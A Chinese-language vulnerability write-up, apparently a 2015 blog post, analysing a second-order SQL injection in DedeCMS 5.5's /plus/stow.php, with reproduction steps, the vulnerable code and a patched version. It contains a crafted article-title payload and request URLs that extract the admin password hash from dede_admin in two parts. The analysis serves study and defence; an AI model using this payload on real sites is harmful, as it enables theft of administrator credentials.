catalog

  1. . 漏洞描述
  2. . 漏洞触发条件
  3. . 漏洞影响范围
  4. . 漏洞代码分析
  5. . 防御方法
  6. . 攻防思考

1. 漏洞描述

收藏文章功能$title变量未过滤,造成二次注入

Relevant Link:

  1. http://www.wooyun.org/bugs/wooyun-2013-046375

2. 漏洞触发条件

0x1: 发布一个特殊构造标题的文章

  1. http://127.0.0.1/dedecms5.5/member/content_list.php?channelid=1
  2. //文章标题如下,目的是额外注入了一条可以查询出管理员密码的SQL语句
  3. u',char(@`'`), (select pwd from dede_admin))#

0x2: 提交收藏请求

  1. 获取刚才发布文章的aid。例如aid=,针对这篇文章发起收藏请求
  2. http://localhost/dedecms5.5/plus/stow.php?aid=108&type=001

0x3: 发起刚才发布的文章的"推荐"请求

  1. http://localhost/dedecms5.5/member/mystow.php
  2. //点击刚才发布的文章的"推荐"链接,打开如下连接
  3. http://localhost/dedecms5.5/plus/recommend.php?type=29a53fb3c3&aid=108
  4. //其中type=29a53fb3c3的"29a53fb3c3"为向dede_admin.pwd字段的前10位,这个时候二次注入就已经发生了

0x4: 注入后10位

  1. 10位使用类似的步骤,不同的是发布的文章标题为
  2. u',char(@`'`),substring((select pwd from dede_admin),))#

Relevant Link:

  1. http://www.wooyun.org/bugs/wooyun-2013-046375

3. 漏洞影响范围
4. 漏洞代码分析

/plus/stow.php

  1. ..
  2. $row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' ");
  3.  
  4. if(!is_array($row))
  5. {
  6. //这里的TITLE是从数据库里查询出来的,也就是我们发布的文章的标题
  7. $dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".$title."','$addtime'); ");
  8. }
  9. ..

Relevant Link:

  1. http://www.wooyun.org/bugs/wooyun-2014-048913

5. 防御方法

/plus/stow.php

  1. <?php
  2. require_once(dirname(__FILE__)."/../include/common.inc.php");
  3.  
  4. $aid = ( isset($aid) && is_numeric($aid) ) ? $aid : ;
  5. $type=empty($type)? "" : HtmlReplace($type,);
  6. if($aid==)
  7. {
  8. ShowMsg('文档id不能为空!','javascript:window.close();');
  9. exit();
  10. }
  11.  
  12. require_once(DEDEINC."/memberlogin.class.php");
  13. $ml = new MemberLogin();
  14.  
  15. if($ml->M_ID==)
  16. {
  17. ShowMsg('只有会员才允许收藏操作!','javascript:window.close();');
  18. exit();
  19. }
  20.  
  21. //读取文档信息
  22. $arcRow = GetOneArchive($aid);
  23. if($arcRow['aid']=='')
  24. {
  25. ShowMsg("无法收藏未知文档!","javascript:window.close();");
  26. exit();
  27. }
  28. extract($arcRow, EXTR_SKIP);
  29. /**/
  30. $title = HtmlReplace($title,);
  31. $aid = intval($aid);
  32. /**/
  33. $addtime = time();
  34. if($type==''){
  35. $row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' AND type='' ");
  36. if(!is_array($row))
  37. {
  38. $dsql->ExecuteNoneQuery("INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes($arctitle)."','$addtime'); ");
  39. }
  40. }else{
  41. $row = $dsql->GetOne("Select * From `#@__member_stow` where type='$type' and (aid='$aid' And mid='{$ml->M_ID}')");
  42. if(!is_array($row)){
  43. $dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime,type) VALUES ('".$ml->M_ID."','$aid','$title','$addtime','$type'); ");
  44. }
  45. }
  46.  
  47. //更新用户统计
  48. $row = $dsql->GetOne("SELECT COUNT(*) AS nums FROM `#@__member_stow` WHERE `mid`='{$ml->M_ID}' ");
  49. $dsql->ExecuteNoneQuery("UPDATE #@__member_tj SET `stow`='$row[nums]' WHERE `mid`='".$ml->M_ID."'");
  50.  
  51. ShowMsg('成功收藏一篇文档!','javascript:window.close();');
  52. ?>

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

dedecms /plus/stow.php Twice SQL Injection的更多相关文章

  1. dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . dedecms原生提供一个"本地变量注册"的模拟 ...

  2. druid sql黑名单 报异常 sql injection violation, part alway true condition not allow

    最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...

  3. PHP+MYSQL网站SQL Injection攻防

    程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...

  4. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  5. HP+MYSQL网站SQL Injection攻防

    WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...

  6. Cacti /graphs_new.php SQL Injection Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...

  7. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  8. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  9. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

随机推荐

  1. zabbix-proxy3.0.4编译安装

    数据库配置: innodb_file_per_table=1   安装mysql rpm -ivh http://dev.mysql.com/get/mysql-community-release-e ...

  2. redis 学习笔记(2)-client端示例代码

    redis提供了几乎所有主流语言的client,java中主要使用二种:Jedis与Redisson 一.Jedis的使用 <dependency> <groupId>redi ...

  3. Shell高级编程视频教程-跟着老男孩一步步学习Shell高级编程实战视频教程

    Shell高级编程视频教程-跟着老男孩一步步学习Shell高级编程实战视频教程 教程简介: 本教程共71节,主要介绍了shell的相关知识教程,如shell编程需要的基础知识储备.shell脚本概念介 ...

  4. UWP 快速的Master/Detail实现

    最近在写快报(还没有写完)的过程中,一开始就遇到了这个Master/Detail如何实现的问题. 微软给出Demo并不符合要求,搜索后找到了今日头条开发者写的一篇 :实现Master/Detail布局 ...

  5. 数据契约(DataContract)及序列化指定输出字段

    服务契约定义了远程访问对象和可供调用的方法,数据契约则是服务端和客户端之间要传送的自定义数据类型. 一旦声明一个类型为DataContract,那么该类型就可以被序列化在服务端和客户端之间传送,如下所 ...

  6. JavaScript学习笔记-选择器集合调用方法

    <script type="text/javascript"> function uu(namePd) { //判断id var reId = new RegExp(/ ...

  7. BroadcastReceiver之应用卸载和安装监听

    首先创建一个类继承BroadcastReceiver,然后配置Manifest.xml <receiver android:name=".PackageAddRemove"& ...

  8. WPS Office Pro 2016 专业版

    感觉WPS还是不错的,Office安装包太大了.嘻嘻 政府专用正版序列号激活码,可永久有效激活! THUV2-32HH7-6NMHN-PTX7Y-QQCTH WPS Office Pro 2016 专 ...

  9. android 开发之 百度地图的使用

    好久没写博客了,最近遇到个新需求 需要用到百度地图的基础地图,定位,理论上应该还会用到鹰眼的功能吧.具体还很难说.我现在 刚动工,就从头开始记录吧. 首先是先申请一个百度地图api的key 流程官网很 ...

  10. canvas拖动

    var canvas=document.getElementById("canvas"); var cxt=canvas.getContext("2d"); v ...